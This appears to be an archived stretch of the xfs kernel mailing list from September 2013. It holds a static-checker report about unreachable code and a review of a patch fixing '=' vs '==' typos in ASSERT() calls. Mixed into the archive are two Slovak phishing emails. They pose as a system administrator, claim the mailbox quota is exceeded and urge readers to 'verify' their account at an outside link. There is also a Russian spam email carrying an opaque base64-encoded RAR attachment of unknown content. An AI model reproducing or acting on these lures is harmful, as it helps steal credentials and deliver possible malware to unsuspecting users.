abhmt117.oracle.com (abhmt117.oracle.com [141.146.116.69]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8BLIQgo028195; Wed, 11 Sep 2013 21:18:26 GMT Received: from elgon.mountain (/41.210.129.33) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Sep 2013 14:18:25 -0700 Date: Thu, 12 Sep 2013 00:18:19 +0300 From: Dan Carpenter To: dchinner@redhat.com Cc: xfs@oss.sgi.com Subject: re: xfs: recovery of swap extents operations for CRC filesystems Message-ID: <20130911211819.GB10527@elgon.mountain> X-ASG-Orig-Subj: re: xfs: recovery of swap extents operations for CRC filesystems MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1378934308 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hello Dave Chinner, The patch 638f44163d57: "xfs: recovery of swap extents operations for CRC filesystems" from Aug 30, 2013, leads to the following static checker warning: "fs/xfs/xfs_log_recover.c:2999 xlog_recover_inode_pass2() info: ignoring unreachable code." fs/xfs/xfs_log_recover.c 2992 out_release: 2993 xfs_buf_relse(bp); 2994 error: 2995 if (need_free) 2996 kmem_free(in_f); 2997 return XFS_ERROR(error); ^^^^^^^^^^^^^^^^^^^^^^^ 2998 2999 xfs_buf_relse(bp); 3000 goto error; These two added lines are unreachable. Sometimes people add dead code for later, so this might be intentional. It's not clear. 3001 } regards, dan carpenter From sandeen@sandeen.net Wed Sep 11 16:33:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 62B2A7F37 for ; Wed, 11 Sep 2013 16:33:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 356388F8040 for ; Wed, 11 Sep 2013 14:33:34 -0700 (PDT) X-ASG-Debug-ID: 1378935212-04bdf02f22f6e420001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id vVGolvnznKSeZ9hw for ; Wed, 11 Sep 2013 14:33:33 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0D7C963724BD; Wed, 11 Sep 2013 16:33:31 -0500 (CDT) Message-ID: <5230E1AB.9000909@sandeen.net> Date: Wed, 11 Sep 2013 16:33:31 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dan Carpenter CC: Ben Myers , Dave Chinner , Alex Elder , kernel-janitors@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [patch] xfs: = vs == typo in ASSERT() References: <20130911211731.GA10527@elgon.mountain> X-ASG-Orig-Subj: Re: [patch] xfs: = vs == typo in ASSERT() In-Reply-To: <20130911211731.GA10527@elgon.mountain> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378935212 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/11/13 4:17 PM, Dan Carpenter wrote: > There is a '=' vs '==' typo so the ASSERT()s are always true. And worse, it assigns to di_format on a debug kernel, eek, although should be modifying it to the thing it's supposed to be anyway. ;) It's a self-healing ASSERT! :) > Signed-off-by: Dan Carpenter Reviewed-by: Eric Sandeen > --- > Introduced in 21b5c9784b ('xfs: swap extents operations for CRC > filesystems') > > diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c > index 531b020..bb8de8e 100644 > --- a/fs/xfs/xfs_bmap_btree.c > +++ b/fs/xfs/xfs_bmap_btree.c > @@ -957,9 +957,9 @@ xfs_bmbt_change_owner( > ASSERT(tp || buffer_list); > ASSERT(!(tp && buffer_list)); > if (whichfork == XFS_DATA_FORK) > - ASSERT(ip->i_d.di_format = XFS_DINODE_FMT_BTREE); > + ASSERT(ip->i_d.di_format == XFS_DINODE_FMT_BTREE); > else > - ASSERT(ip->i_d.di_aformat = XFS_DINODE_FMT_BTREE); > + ASSERT(ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE); > > cur = xfs_bmbt_init_cursor(ip->i_mount, tp, ip, whichfork); > if (!cur) > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From info@mail.sk Wed Sep 11 16:47:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E2C887F37 for ; Wed, 11 Sep 2013 16:47:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B524B8F8040 for ; Wed, 11 Sep 2013 14:47:04 -0700 (PDT) X-ASG-Debug-ID: 1378936016-04bdf02f21f6f1a0001-w1Z2WR Received: from mail.rittal.sk (mail.rittal.sk [195.168.45.235]) by cuda.sgi.com with ESMTP id djn8e454ofl64MEn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 14:46:58 -0700 (PDT) X-Barracuda-Envelope-From: info@mail.sk X-Barracuda-Apparent-Source-IP: 195.168.45.235 Received: from [197.210.248.49] ([197.210.248.49]) by mail.rittal.sk (Kerio Connect 8.0.1); Wed, 11 Sep 2013 23:42:52 +0200 To: undisclosed-recipients:; From: "Andrea Juhasova" Subject: =?utf-8?Q?V=C3=A1=C5=BEen=C3=AD_E-mail_u=C5=BE=C3=ADvate=C4=BEa=3B?= Reply-To: info@mail.sk X-ASG-Orig-Subj: =?utf-8?Q?V=C3=A1=C5=BEen=C3=AD_E-mail_u=C5=BE=C3=ADvate=C4=BEa=3B?= Organization: =?utf-8?Q?V=C3=A1=C5=BEen=C3=AD_E-mail_u=C5=BE=C3=ADvatela?= Message-ID: <20130911214252.f76df356@mail.rittal.sk> Date: Wed, 11 Sep 2013 23:42:52 +0200 X-Mailer: Kerio Connect 8.0.1 WebMail X-User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------fbfb9e00c82560abaae047786f22922e" X-Barracuda-Connect: mail.rittal.sk[195.168.45.235] X-Barracuda-Start-Time: 1378936017 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, BSF_SC3_MV0164, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 HTML_MESSAGE BODY: HTML included in message 2.00 BSF_SC3_MV0164 Custom rule MV0164 This is a multi-part message in MIME format. -------------fbfb9e00c82560abaae047786f22922e Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable V=C3=A1=C5=BEen=C3=AD E-mail u=C5=BE=C3=ADvatela; Prekrocili ste 23432 boxy nastavit svoje Webov=C3=A1 slu=C5=BEba / Administr=C3=A1tor, a budete mat probl=C3=A9my= pri odosielan=C3=AD a prij=C3=ADmat e-maily, k=C3=BDm znova overit. Mus=C3=ADte aktualizovat k= liknut=C3=ADm na odkaz ni=C5=BE=C5=A1ie a vyplnte =C3=BAdaje pre overenie v=C3=A1=C5=A1ho= =C3=BActu Pros=C3=ADm, kliknite na odkaz ni=C5=BE=C5=A1ie alebo skop=C3=ADrovat vl= o=C5=BEit do e-prehliadac pre overenie Schr=C3=A1nky. http://webmailupdate11234231.jimdo.com/=20 Pozor! Ak tak neurob=C3=ADte, bud=C3=BA mat obmedzen=C3=BD pr=C3=ADstup k e-mai= lu schr=C3=A1nky. Ak sa nepodar=C3=AD aktualizovat svoj =3F=3F=C3=BAcet do troch dn=C3=AD od akt= ualiz=C3=A1cie ozn=C3=A1menia, bude v=C3=A1=C5=A1 =C3=BAcet natrvalo uzavret=C3=A1. S pozdravom, System Administrator =C2=AE -------------fbfb9e00c82560abaae047786f22922e Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable

V=C3=A1=C5=BEen=C3=AD E-mail u=C5=BE=C3=ADvatela;

Prekroc= ili ste 23432 boxy nastavit svoje
Webov=C3=A1 slu=C5=BEba / Administr= =C3=A1tor, a budete mat probl=C3=A9my pri odosielan=C3=AD a
prij=C3= =ADmat e-maily, k=C3=BDm znova overit. Mus=C3=ADte aktualizovat kliknut= =C3=ADm na
odkaz ni=C5=BE=C5=A1ie a vyplnte =C3=BAdaje pre overenie v= =C3=A1=C5=A1ho =C3=BActu
Pros=C3=ADm, kliknite na odkaz ni=C5=BE=C5= =A1ie alebo skop=C3=ADrovat vlo=C5=BEit do
e-prehliadac pre overenie = Schr=C3=A1nky.
http://webmailupdate11234231.jimdo.com/
Pozor!=
Ak tak neurob=C3=ADte, bud=C3=BA mat obmedzen=C3=BD pr=C3=ADstup k e= -mailu schr=C3=A1nky. Ak
sa
nepodar=C3=AD aktualizovat svoj =3F=3F= =C3=BAcet do troch dn=C3=AD od aktualiz=C3=A1cie
ozn=C3=A1menia,
b= ude v=C3=A1=C5=A1 =C3=BAcet natrvalo uzavret=C3=A1.
S pozdravom,
S= ystem Administrator =C2=AE
-------------fbfb9e00c82560abaae047786f22922e-- From info@mail.sk Wed Sep 11 17:09:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1FC17F37 for ; Wed, 11 Sep 2013 17:09:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 84F24304032 for ; Wed, 11 Sep 2013 15:09:07 -0700 (PDT) X-ASG-Debug-ID: 1378937343-04bdf0538701f70001-w1Z2WR Received: from mail.rittal.sk (mail.rittal.sk [195.168.45.235]) by cuda.sgi.com with ESMTP id 32qObzyGaYacw0RT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 15:09:04 -0700 (PDT) X-Barracuda-Envelope-From: info@mail.sk X-Barracuda-Apparent-Source-IP: 195.168.45.235 Received: from [197.210.248.49] ([197.210.248.49]) by mail.rittal.sk (Kerio Connect 8.0.1); Wed, 11 Sep 2013 23:53:08 +0200 To: undisclosed-recipients:; From: "Andrea Juhasova" Subject: =?utf-8?Q?V=C3=A1=C5=BEen=C3=AD_E-mail_u=C5=BE=C3=ADvate=C4=BEa=3B?= Reply-To: info@mail.sk X-ASG-Orig-Subj: =?utf-8?Q?V=C3=A1=C5=BEen=C3=AD_E-mail_u=C5=BE=C3=ADvate=C4=BEa=3B?= Organization: =?utf-8?Q?V=C3=A1=C5=BEen=C3=AD_E-mail_u=C5=BE=C3=ADvatela?= Message-ID: <20130911215308.3bda904b@mail.rittal.sk> Date: Wed, 11 Sep 2013 23:53:08 +0200 X-Mailer: Kerio Connect 8.0.1 WebMail X-User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------51be521e904eb91057ef86c73bd68df8" X-Barracuda-Connect: mail.rittal.sk[195.168.45.235] X-Barracuda-Start-Time: 1378937343 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, BSF_SC3_MV0164, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140534 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 HTML_MESSAGE BODY: HTML included in message 2.00 BSF_SC3_MV0164 Custom rule MV0164 This is a multi-part message in MIME format. -------------51be521e904eb91057ef86c73bd68df8 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable V=C3=A1=C5=BEen=C3=AD E-mail u=C5=BE=C3=ADvatela; Prekrocili ste 23432 boxy nastavit svoje Webov=C3=A1 slu=C5=BEba / Administr=C3=A1tor, a budete mat probl=C3=A9my= pri odosielan=C3=AD a prij=C3=ADmat e-maily, k=C3=BDm znova overit. Mus=C3=ADte aktualizovat k= liknut=C3=ADm na odkaz ni=C5=BE=C5=A1ie a vyplnte =C3=BAdaje pre overenie v=C3=A1=C5=A1ho= =C3=BActu Pros=C3=ADm, kliknite na odkaz ni=C5=BE=C5=A1ie alebo skop=C3=ADrovat vl= o=C5=BEit do e-prehliadac pre overenie Schr=C3=A1nky. http://webmailupdate11234231.jimdo.com/=20 Pozor! Ak tak neurob=C3=ADte, bud=C3=BA mat obmedzen=C3=BD pr=C3=ADstup k e-mai= lu schr=C3=A1nky. Ak sa nepodar=C3=AD aktualizovat svoj =3F=3F=C3=BAcet do troch dn=C3=AD od akt= ualiz=C3=A1cie ozn=C3=A1menia, bude v=C3=A1=C5=A1 =C3=BAcet natrvalo uzavret=C3=A1. S pozdravom, System Administrator =C2=AE -------------51be521e904eb91057ef86c73bd68df8 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable

V=C3=A1=C5=BEen=C3=AD E-mail u=C5=BE=C3=ADvatela;

Prekroc= ili ste 23432 boxy nastavit svoje
Webov=C3=A1 slu=C5=BEba / Administr= =C3=A1tor, a budete mat probl=C3=A9my pri odosielan=C3=AD a
prij=C3= =ADmat e-maily, k=C3=BDm znova overit. Mus=C3=ADte aktualizovat kliknut= =C3=ADm na
odkaz ni=C5=BE=C5=A1ie a vyplnte =C3=BAdaje pre overenie v= =C3=A1=C5=A1ho =C3=BActu
Pros=C3=ADm, kliknite na odkaz ni=C5=BE=C5= =A1ie alebo skop=C3=ADrovat vlo=C5=BEit do
e-prehliadac pre overenie = Schr=C3=A1nky.
http://webmailupdate11234231.jimdo.com/
Pozor!=
Ak tak neurob=C3=ADte, bud=C3=BA mat obmedzen=C3=BD pr=C3=ADstup k e= -mailu schr=C3=A1nky. Ak
sa
nepodar=C3=AD aktualizovat svoj =3F=3F= =C3=BAcet do troch dn=C3=AD od aktualiz=C3=A1cie
ozn=C3=A1menia,
b= ude v=C3=A1=C5=A1 =C3=BAcet natrvalo uzavret=C3=A1.
S pozdravom,
S= ystem Administrator =C2=AE
-------------51be521e904eb91057ef86c73bd68df8-- From adonins55@earthchannel.com Wed Sep 11 17:20:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=FROM_12LTRDOM,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9745B7F37 for ; Wed, 11 Sep 2013 17:20:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 741B8304043 for ; Wed, 11 Sep 2013 15:20:12 -0700 (PDT) X-ASG-Debug-ID: 1378938007-04cb6c2e9df3c930001-NocioJ Received: from mail.nords.ru (mail.nords.ru [84.54.196.43]) by cuda.sgi.com with ESMTP id M3W46cV5S3vYwFHE for ; Wed, 11 Sep 2013 15:20:08 -0700 (PDT) X-Barracuda-Envelope-From: adonins55@earthchannel.com X-Barracuda-Apparent-Source-IP: 84.54.196.43 Received: from localhost (localhost [127.0.0.1]) by mail.nords.ru (Postfix) with ESMTP id B5591E5F34; Thu, 12 Sep 2013 02:19:59 +0400 (MSK) X-Virus-Scanned: Debian amavisd-new at mail.nords.ru Received: from mail.nords.ru ([127.0.0.1]) by localhost (mail.nords.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id kUtPFMb2pkXF; Thu, 12 Sep 2013 02:19:57 +0400 (MSK) Received: from Unknown (unknown [211.119.86.148]) by mail.nords.ru (Postfix) with ESMTPA id 3D904E5F31; Thu, 12 Sep 2013 02:19:48 +0400 (MSK) Message-ID: <4349E000CCB24776A34C3ED72101748E@zaegh> Reply-To: =?windows-1251?B?ztLExcsgwsDL3tLN29Ugzs/F0MDWyMk=?= From: =?windows-1251?B?ztLExcsgwsDL3tLN29Ugzs/F0MDWyMk=?= To: , , , Subject: =?windows-1251?B?6u7kIOLg6/7y7e7pIO7v5fDg9ujo?= Date: Thu, 12 Sep 2013 00:19:57 +0200 X-ASG-Orig-Subj: =?windows-1251?B?6u7kIOLg6/7y7e7pIO7v5fDg9ujo?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_05F7_01CEAF4D.D01AE850" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.nords.ru[84.54.196.43] X-Barracuda-Start-Time: 1378938007 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140534 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_05F7_01CEAF4D.D01AE850 Content-Type: multipart/alternative; boundary="----=_NextPart_001_05F8_01CEAF4D.D01AE850" ------=_NextPart_001_05F8_01CEAF4D.D01AE850 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2=C0=CB=DE=D2=CD=C0=DF =CE=CF=C5=D0=C0=D6=C8=DF ------=_NextPart_001_05F8_01CEAF4D.D01AE850 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C2=C0=CB=DE=D2=CD=C0=DF =CE=CF=C5=D0=C0=D6=C8=DF
------=_NextPart_001_05F8_01CEAF4D.D01AE850-- ------=_NextPart_000_05F7_01CEAF4D.D01AE850 Content-Type: application/octet-stream; name="=?windows-1251?B?wsDL3tLNwN8gzs/F0MDWyN8ucmFy?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?wsDL3tLNwN8gzs/F0MDWyN8ucmFy?=" UmFyIRoHAM+QcwAADQAAAAAAAAAREXQgkkMAS5IBAMWmAQACCLIfpsk2KEMdMx4AIAAAAIKAi56S jYCfII6PhZCAloifLlBERgAEz4aQIIaQAgDwm5t2Ed2RWQjZWVWNGYTA2ixSLIIdSGEWAocodQFD 6QCLFIBDiQyhmh1AIsFRYBFgKBFgUeRnPeoz3npMUus6781Eajcb9W/bzEEYJ5xiZ4lysc/F5ZxP E4lqP0x/4n4WW+lLTTU5NjwULdXWxAgoclJwUuLK2CiIiG6Q3AmhzcGT/sN0todmtmaFZOSTdTKT s3UWhwaQTUUnR6gnxumtf823/c3Btv+CsziztCMjOgJzaGRvFHj3TMm7rCvmj8JiWh/aemPGYeRx W1qVvCni1onxxsZHImM+f5xocVnyWsepLVY6hEjow+vrnkqOqSuH9vgVane8ZEl5Dl6h0kk1Bnpi LTs3nhwpjTKOh+bZu0xNFp4X3KsQ6N7YEPuFFcE/X5JxcHdTauoWKiGljEfB5PsHeJuDvr6qurSR /pTfDLeF8zIlulhzpILSxFynq7DIIjxNuHd83I2C6VnId6ZWJ2uPpzWAiIL5ARVv3FtcqX0qDPFL DOPPhla7AHS1IOnGaL75zyzQMIPIdQSIRYDph6rR9tfQL9aKQRu1iY5j/GNoS6bA6tS5mgQShB+a 7cdepInxTPg4wj9A22XRXZ241Zo8wOoA11nn9JJ98xfbHN1zBxBzAGLrDwV42GyyihSIuYFeDipA ciNTExFLaiLrBOBc/ivLqnOZLES6S6jmHAcTtXR15byKqK0PMQEFAOG81b7UwyH8B2zEf0O0mwwT /wESWUdNzzrb9LCwd8qForc3rhG9rHg4BveD02XdCYTGbh0PVWrqLvrkT2L4wq301TRpM6TQ0GD0 eCbbTE32+Hrmxd/SmJ8xFa10eHYZHjkkECPBHKUwn7gBeqFL+l7+7vV1eTZm4TpKBH7upOPjXaWW sKbyKYl4FColKjJ1q/ejkKHyyT++Ombl+kYufvP5thJw2d0jWLJrnhoCoj8z8ThxgZDRSJvbOZ4v C+it2neLqwojGlpWZ7MSA+76t16j970fLH+LZk5LOq8bVcPfl+1e8J4UhyZ5vFu+Yk2/EOfPxg/m NV4cMfXxeFIMIXxuTGc/WAHY3wJZSQDvrrfeQyMBTMZfRiDr7xo8gT71EIL2M31PEARNvZgMfj0P ArHAvNesx+wpg+YZgvbejI8rQgIpSr0lqvauRpJr+IPShr0ksiJFqUkp/hHvNve9WoyX4we7OAdt f2zAER2IcLJVd71VqG+seehHynAnQ2698hpuD6tjVEASi4Igt777HSAUG0BXfOS9XifBngglS5lP qNLgoj+yiGvWMjSFOxBwND9wmpMc8FgmNFVJGjc/4WvzZ0aTz5RYQ6fHUV6vjogmJhz6VGRFb8oH vbqzsnOLU4fT3xVRH0zNGjZCzkGDYKcw0pJrbO4WNh7YcCNEIimYg2TVv3zGKTbdXtjXKgfpYQgZ xmiTmLIX9RJS4eq/DVkVWSBItB9pFdxLJQ1K5SoWUS70OLXTn8mVuOQYo9jL2NvYehxb7A+XVBeo GgMTAiKcKZ/RZ+q96i/1LfqHK8isxvSGeGJGLrk+2BxNHSmvgw/CSPFzZUYDkSJ08EnpJkyGs5H4 qageiv9DwkFg3zQqn9PVO+uvg1xQREtEVCUttS1VTwJYfGPsLCpvKgpfMleiV2hTIXyazjDmiLqj pJLgXfkvTL7ZV95kuGXjMPsOrRn+4wRkwKrxQwq2eLHKsMFLK1C5OPCW5J/F8Bthvk+Gpvoqr1As TwJY3IPHrDpZzU1BWEFKeatziOMP2E4dNLqF1UrUVYcw7DBpMGZYgviqNCvYZDrkJu6u7qALJR3Q h+KrNdBWOLVA1hiPQ8PM+es88154q/ch4xJpwkxvFt7nKddbJ1uvWhrJqsqiza7pdkn2SZ/Goydm jeaPiyfPkZ2Sm5Gl8DvIfcgJkV3wd/hphPM1yrXBNuu2b+MgUnECF2+LwCXg90egwm1oZUEe4R55 TxbauAIS4vuysfK4wl/j/HHQp7mWJinCzkz8bRK7ILnnxdZvFJO99WlbU/hs0GKXMhHYdGz8pzQg j117nUtseaxgbE7ert6VXr2vQV66OUT6zTuLO4m67TrVxBCECoQDxCmEK4W4oM0uR25AQfdB1EVE xTLEnxC6kSKdLR2LnGGfuB7atqSfOR+ugcdjc8IdZr86UjvRb3rN8h9Vn/oOaQ5JDqEwibBD9myw oQ1xR9TH0mIEIgkURsJIS1y3NEWvY5rAmoqa2RpNrpEuXS+31e7XdbU3uMy4aLU+3kGyjjUrtQRm 5KSmljXLB3fPnMHGwadhSbTtiPrg0uF5XZ7M7hJpsKGW2t7XL+8DAz0DezmEyY+N8znGqcri/M12 KMzeBmXdJQ3lBpnZC2eXKzbdd33zM6iAgofRL+iIwJ55u+Tp5CPairDdsHNg3gFA4eSuS660cFZ3 AO8W9wPZ4hh9GJpOkLyCovg0/HaSMRpYcphK6gXqMtuaefz85i4/TPxLL6PeLCao5sK4V001vEP8 2uyXe/xNJx9umYv9Y/xvefd5J4F7waHr2fX8PNefOS9j6kT/vD0jJSBiAwoBMt0Uq9Sex3vPG2XI LbQrtO/tgMX14oWc6LiJuZP2vpRFiYwK1Am/kLIOKozjW3rsWO+gJMPqCu0K8Ar4UuWS1Cdep4en hydmJ5ivHi8kbxPZqZlW7thhwkKOfR1vGbWntaY1aIg6zTQsPUiW6NOIGp1lesmPMQbGmUue616e kbui33FqcN40McwxrDcKDOe4Qw+XH9dBW+iir27gNuAcmhFx/0x/Dfm+0qFlgXSRei+d2UtKaRJb VmlaO41j5j6wKzVF10WVQWqmKqWfN85iil1oi+KUjpVyWE8aoRPsOq075DqEq8Grh6ufwPdKBWA+ LRQbPWhKzYiqsro8zcTI9f0S6phOpfWk1eQ5C4/QuhPmnOaOHFjsM3jUsAv433ktmH2L1uAxl/3r /yBsYKg2r/rWcX40FI9Le9UGy8i2t244XsrYKta21/MKz9pG75YGwEAqRy1jS87U8z9vL8QPQ6Zd H59+yqPPhc4wzECva+Ch+KkUeh4LSD0U3oM/PpuOy4WvTJYS3JMT7nR9Y0fLBnG7EWsFa1Mrez9C uJjBbNsQ3KM8nqrR0EWZOvouUQ5Tfs/SyLarXRHy9FV6F4iYM0A0emtrd19dfPzJ8UtqT3TAQtDn Zdk82VRv8WYEWqJZW17ocKhj4cJ6tuvDEJ6Dh32VfUHsJz5NP+d/wuuxsFCe+FZuXL9qP257IXxP uFF4WEay5q0U3qpJ9142O4t8DTeH8Jo3bdSONFXShP4YQshCd/mOkLzXKRCPcZ8ousfWnpAN4jWz 0+ObrBpIOTJY5aFi94nRiN4rK68oKLWe8Dh6CgIirTowbDxmidxDTo5NqezN+5GknXd3NzXCM1p6 Hrh90MiulMb2bj9m7FzeTafMSZ3OjfR3nS5u2pFcMgi2FnAb9jr+r4OnzfvfrCPYUIQgTCCHCEsJ Ym6GA4CKaP3zVh+ySCLdpUTVkP+oLj3vbHam8q5bjpJ9eVWl9ZdW2tddNtVzo4YmguuhA+12vNY9 p+Hy/QSPx53VIDdKUVG3UVC+zHbwKGzaFSXo7R38r9Z7ZV1Ml1BYaXyeXPTrwufS83R2HpeO1Qyp CWorpHM+9g7MHXzXe2/oTo4HkM9+7By9oSomGKjtszvx+Bo4QWZy9y2RVAFhlLNVf3T6mu8399lK u44d2HDU8Jmjyr9t9RDy8XBRRKpNv3i6ILk7BRocGf/3kWhtP8ycHX/zJ+WHn1NBuuKn+40MwI3V 3VlBfz/1BvZGn/tW2tnDZQZyd/4T2hraWoEUnRz/o/8yn5ycHh0dnRulOLc4uav6mRmaF/8W/LrQ 8NDOG0JSUksjp/s/ggZEKwApPjsw7/9HR/q4f8af+Ln/Gb9u+a/7Qmd30Wr3r/+xf2ve9fXvo7Pv V8nvdf9uene8yCd7x7++Tgu9ToO8tnu98dv6d11GN170H+hDoXvIXjvPWjvYGBR7x9h70Tzf0X/a 